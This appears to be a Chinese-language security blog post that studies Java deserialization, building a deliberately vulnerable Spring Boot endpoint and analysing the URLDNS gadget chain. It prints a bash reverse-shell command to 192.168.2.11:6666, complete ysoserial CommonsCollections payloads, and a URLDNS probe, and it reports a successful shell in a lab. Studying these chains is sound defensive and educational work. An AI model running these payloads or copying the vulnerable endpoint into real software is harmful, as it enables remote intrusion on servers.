Java反序列化漏洞与URLDNS利用链分析

前言

前面学习过 Java 反序列化漏洞的部分知识,总结过几篇文章:

文章发布日期内容概括
《渗透测试-JBoss 5.x/6.x反序列化漏洞》2020-07-08JBoss 反序列化漏洞 CVE-2017-12149 的简单复现,使用了 ysoserial 和 CC5 链,未分析漏洞原理和具体利用链原理……
《渗透测试-Fastjson 1.2.47 RCE漏洞复现》2020-07-11Fastjson 1.2.47 反序列化漏洞的简单复现,使用到了 JNDI 注入和 Java RMI 技术(做了介绍),未分析漏洞原理和漏洞利用技术……
《Apache Shiro Java反序列化漏洞复现》2020-10-25Apache Shiro <= 1.2.4 反序列化漏洞的简单复现与检测工具使用,使用了 ysoserial 和 CC4 链,未分析漏洞原理和具体利用链原理……
《JAVA代码审计之Shiro反序列化漏洞分析》2021-07-24Shiro 漏洞(上文)CVE-2016-4437 的 IDEA 调试分析,分析了 Remember Cookie 的密钥硬编码造成反序列化漏洞的过程,未分析利用链……
《CommonCollections1反序列化利用链分析》2021-07-30Apache Common Collections1 反序列化利用链的分析与学习,懵懵懂懂初始 java 反序列化利用链。

翻看并思考了上面几篇文章,发现身为脚本小子的自己当时对反序列化漏洞的原理和利用链的认识着实过于肤浅。

比如如何检测反序列化漏洞?为什么 Fastjson 漏洞采用 JNDI 注入传递 exp、但是 Shiro 漏洞采用 CC 链 Payload 直接打就行了?什么情况下可以使用 CC 链?这些问题基于前面的学习,尚无法给出明确的答案,于是就有了本文进一步的学习。菜就多练,没啥毛病……

反序列化思考

在进行反序列化漏洞的进一步实践之前,先来捋清楚对于反序列化漏洞一些基础且关键的认知。

漏洞代码特征

参考奇安信《网络安全 Java 代码审计实战》2.10.2 章节:
imagepng
简单来说,找 readObject/readUnshared 就好了,还有其它用于解析的类库(xml、yml、json等),由于 java 一切皆对象的特性,反序列化如果处理不当都会存在问题:

XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

比如以下代码,就存在不安全的反序列化:

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String baseStr = request.getParameter("str");
    byte[] decodeStr = Base64.getDecoder().decode(baseStr);
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    try {
      Object object = objectInputStream.readObject();
    } catch (ClassNotFoundException e) {
      e.printStackTrace();
    } finally {
      objectInputStream.close();
      response.getWriter().println("Unser Test");
    }
}

上面的代码,从外部获取 str 变量的值后进行 base64 解码并获得字节输入流,接着直接调用 objectInputStream.readObject() 进行反序列化,导致反序列化的对象外部可控,存在形成反序列化漏洞的风险。

但是仅仅如此还无法完全形成反序列化漏洞,以上代码仅仅是漏洞的 Source 点,要形成完整的反序列化漏洞,还需要寻找一条有效的漏洞利用链,详情请参见下一小节。

漏洞利用条件

反序列化漏洞的利用过程所需要的必要条件如下(参考《Java 代码审计入门篇》第五章 5.8.3 章节“漏洞产生的必要条件”):
imagepng
imagepng
消化理解一下,反序列化漏洞需要的必要条件:

  1. 触发(Source)点:即上一章节提到的,存在外部可控的反序列化输入点,如 readObject() ;
  2. 有效的利用链路:解决了触发点,还需要考虑如何构造完整的漏洞代码并传输给目标服务器,利用链称为 Gadget Chain,常见的反序列化利用链为借助 Apache Commons Collections 库构造利用代码(即前面学习过的 CC1 链),常见的生成 Java 反序列化 exp 的工具为: ysoserial。

实际上除了 Source 点和利用链,反序列化漏洞利用还需要考虑的一个问题是:执行点,即最终通过什么方式执行命令完成 RCE?

反序列化执行点备注信息
通过反射调用 Runtime.getRuntime().exec 或 java.lang.ProcessBuilder 执行命令Apache Commons Collections 利用链,比如 CC1 链背后原理便是巧妙借助公共类的反射机制,实现命令执行,完成 RCE,前面学习的 Apache Shiro <= 1.2.4 反序列化漏洞便可以通过此方式完成漏洞利用。
JNDI + RMI 远程调用,实现 RCE比如前面学习过的 Fastjson 1.2.47 反序列化漏洞的利用,便是借助 JNDI + RMI 远程调用恶意 Class 来执行命令,完成 RCE。

同时注意以上利用链或执行点还需要关注目标系统所在的 Java JDK 版本环境,比如高版本的 JDK 会限制 JNDI 注入的两种远程数据访问协议:
imagepng

Spring漏洞部署

为了理解反序列化漏洞的触发点,下面在 Ubuntu 虚拟机 IDEA 搭建 SpringBooot 项目,部署存在反序列化漏洞的缺陷代码。

反序列化Demo

定义一个实体类:

package com.tr0e.filterbug.entity;

import lombok.Data;
import java.io.Serializable;

@Data
public class User implements Serializable {
    private int age;

    private String name;

    private String data;
}

创建一个漏洞路由,此时前端 http 报文通过传递 Json 字符串即可正常传递 User 对象(模拟了实战中实际 SpringBoot 项目遇到的场景):

    @PostMapping("/admin/unserialize/bug")
    public void unSerialize(@RequestBody User user, HttpServletResponse response) throws IOException {
        System.out.println(user.toString());
        byte[] decodeStr = Base64.getDecoder().decode(user.getData());
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decodeStr);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        try {
            Object object = objectInputStream.readObject();
            response.getWriter().println(object);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } finally {
            objectInputStream.close();
        }
        response.getWriter().println("UnSerialize Test!");
    }

以上代码缺陷很明显,objectInputStream.readObject() 的输入流外部完全可控,符合反序列化漏洞的 Source 点特征。

URLDNS链验证

以下直接通过 URLDNS 链(原理下文再分析)来完成上述反序列化漏洞的验证,先借助 ysoserial 生成 Payload :

λ java -jar ysoserial-all.jar URLDNS "http://zywbkm.dnslog.cn" | base64 |tr -d "\n"
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QAEHp5d2JrbS5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96eXdia20uZG5zbG9nLmNueA==

开源反序列化利用链工具 ysoserial:A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

发送 Payload,执行成功的话会触发 DNS 解析:
imagepng
imagepng
成功触发 DNS 查询,验证反序列化漏洞的存在:
在这里插入图片描述

CC5链反弹Shell

往 SpringBoot 项目 pom.xml 添加 CC1 链的依赖库 commons-collections 3.1:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

IDEA 会提示存在 CVE 漏洞威胁:
imagepng
然后尝试使用 CC1 链反弹 shell Payload:

/bin/bash -i >& /dev/tcp/192.168.2.11/6666 0>&1

注意需要对反弹 shell Payload 采用 Base64 编码:

tr0e@ubuntu:~/Downloads/Code$ java -jar ysoserial-all.jar CommonsCollections1 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAZWJhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekU1TWk0eE5qZ3VNaTR4TVM4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo=
tr0e@ubuntu:~/Downloads/Code$ 

Burp 发送 exp,结果发现反弹 shell 失败:
imagepng
到 IDEA 查看服务器日志:

java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
    at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:81) ~[na:1.8.0_412]
    at com.sun.proxy.$Proxy65.entrySet(Unknown Source) ~[na:na]
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:452) ~[na:1.8.0_412]
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_412]
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_412]
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_412]
    at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_412]
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_412]
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_412]
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_412]
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_412]
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_412]
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_412]
    at com.tr0e.filterbug.controller.LoginController.unSerialize(LoginController.java:39) ~[classes/:na]
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_412]
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_412]
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_412]
    at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_412]
    at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:209) ~[spring-web-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:136) ~[spring-web-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:102) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:891) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:991) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:925) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:981) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:884) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:661) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:858) ~[spring-webmvc-5.0.11.RELEASE.jar:5.0.11.RELEASE]
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:742) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) ~[tomcat-embed-websocket-8.5.35.jar:8.5.35]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) ~[tomcat-embed-core-8.5.35.jar:8.5.35]
    at com.tr0e.filterbug.filter.SecurityFilter.doFilter(SecurityFilter.java:69) ~[classes/:na]
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) ~[tomcat-embed-core-8.5.35.jar:8.5.35]

产生"java.lang.Override missing element entrySet" 错误的原因是我 Ubuntu 的 Java8 JDK 版本过高了(需要低于 172 版本才能使用 CC1 链):

tr0e@ubuntu:~/Downloads/Code$ java -version
openjdk version "1.8.0_402"
OpenJDK Runtime Environment (build 1.8.0_402-8u402-ga-2ubuntu1~22.04-b06)
OpenJDK 64-Bit Server VM (build 25.402-b06, mixed mode)
tr0e@ubuntu:~/Downloads/Code$ 

使用反序列化利用链 CommonsCollections5(CC6 也可以)则可以解决这个问题:

tr0e@ubuntu:~/Downloads/Code$ java -jar ysoserial-all.jar CommonsCollections5 'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xMS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'| base64 |tr -d "\n"
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAZWJhc2ggLWMge2VjaG8sTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekU1TWk0eE5qZ3VNaTR4TVM4Mk5qWTJJREErSmpFPX18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9dAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==
tr0e@ubuntu:~/Downloads/Code$ 

发送生成的最终 Payload, 成功反弹 shell:
imagepng
imagepng
可见,Apache Commons Collections 反序列化利用链需要目标应用系统集成了存在漏洞版本的 Commons Collections 依赖库、同时 JDK 版本符合相应条件的情况下才能完成漏洞利用。

【More】BurpSuite 的一个自动检测 Java 反序列化可行利用链的插件:https://github.com/federicodotta/Java-Deserialization-Scanner,但有点年久失修了,2021 年底就开始停止更新。

URLDNS利用链

接下来返回看看前文使用到的 Java 反序列化漏洞利用链——URLDNS(ysoserial 已集成)。

URLDNS链特点

目前网上绝大部分 Java 反序列化漏洞文章都以 Commons Collections 这条利用链作为教程,这条利用链其实特别复杂,需要多种 Java 特性来配合,比如反射、动态代理、JNDI注入等等,用 Commons Collections 作为 Java 反序列化入门教程未免太过硬核。

URLDNS 链是 Java 反序列化中比较简单的一个链子,其具备以下几个突出的特点:

  1. URLDNS 链并不能执行命令,只能发送 DNS 请求;
  2. 但是由于 URLDNS 不依赖第三方包和不限制 jdk 版本,仅靠 JDK 内置的 java.util.Hashmap 和 java.net.URL 类即可完成反序列化的过程,所以经常用于检测反序列化漏洞;
  3. 同时 URLDNS 利用链较短,有助于理解 Java 反序列化,利用链太长容易迷茫在利用链中的技术细节中。

感觉个人原来就应该先看这个简单的链再去学习 CC1 链的……

URLDNS链分析

本章节参考《JAVA反序列化之URLDNS链分析》,极力推荐,写得很好!
思考:如下代码能不能发起一个 dns 请求,为什么?

    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        hashmap.put(new URL("http://xxxx.dnslog.cn"),1);
    }

答案是:可以。因为 hashmap.put 中会触发 url 类中的 hashcode 方法,这个方法会调用 getHostAddress(url) 从而发起 dns 请求。

IDEA 调试分析,注意需要先设置 Debugger 能够跟进 java 原生类,否则无法跟进 HashMap:
imagepng
imagepng
put 方法调用了 hash 把 url 对象传了进去:
imagepng
跟进 hash 后进一步跟进 hashcode:
imagepng
imagepng
判断类中的 hashcode 的值(其初始值=-1) 表示该类 url 第一次调用 hashcode,之后就把这个值存储起来,以备下次调用 hashcode 直接返回该值。这样设计的目的也是为了避免多次发起 dns 解析减少运算。若为 -1 则调用 handler.hashcode:
imagepng
跟进 getHostAddress 函数:
imagepng
以上便是 hashmap.put 中会触发 DNS 请求的原因,调用栈如下:

HashMap.put 
   -> HashMap.hash()
      -> URL.hashCode()
         -> URLStreamHandler.hashCode()
            -> URLStreamHandler.getHostAddress()
                -> InetAddress.getByName()

反序列化链的应用

如上 hashmap.put 会调用 URL.hashCode() 函数后发起 DNS 请求,那么 hashcode 能不能为反序列化漏洞利用过程所调用,通过反序列化触发 DNS 请求来验证反序列化漏洞呢?

答案是肯定的,hashmap 重写了 readobject,这样反序列化会切入到自己的逻辑中,且在 readobject 中调用了 key 的 hashcode 方法(以下第 36 行):

   private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +  loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

URLDNS 链分析

但是在前面我们分析到,hashmap.put 在第一次建立 url 对象时其内部的 hashcode 为默认值 -1,在执行了 hashmap.put 之后,hashcode 就更新了,这样的话在反序列化的时候 hashcode 不为 -1,就无法发起 dns 请求。

但好在 hashcode 字段没有不可序列化的标识符,这就意味着这个成员属性是我们可控的。只需在 hashmap.put 改过之后,用反射的方法再将 url 对象的 hashcode 的值在改为 -1,就可以使得触发反序列化过程的时候,依旧能够正常发起 DNS 请求,帮助我们达到验证反序列化漏洞的目的。
直接上最终的 URLDNS 利用链代码:

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap= new HashMap<>();
        URL url = new URL("http://syedx73.dnslog.cn");
        hashmap.put(url,1);
        // 获取URL类的hashCode字段
        Field hashCodeField = URL.class.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        // 修改URL对象的hashCode值
        hashCodeField.set(url, -1);
        serialize(hashmap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

上述利用链 Gadget Chain:

HashMap.readObject()
   -> HashMap.putVal()
      -> HashMap.hash()
          -> URL.hashCode()
             -> URLStreamHandler.hashCode()
                 -> URLStreamHandler.getHostAddress()
                     -> InetAddress.getByName()

ysoserial生成器

ysoserial 中对于 URLDNS 链 Payload 的生成:ysoserial/payloads/URLDNS.java

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
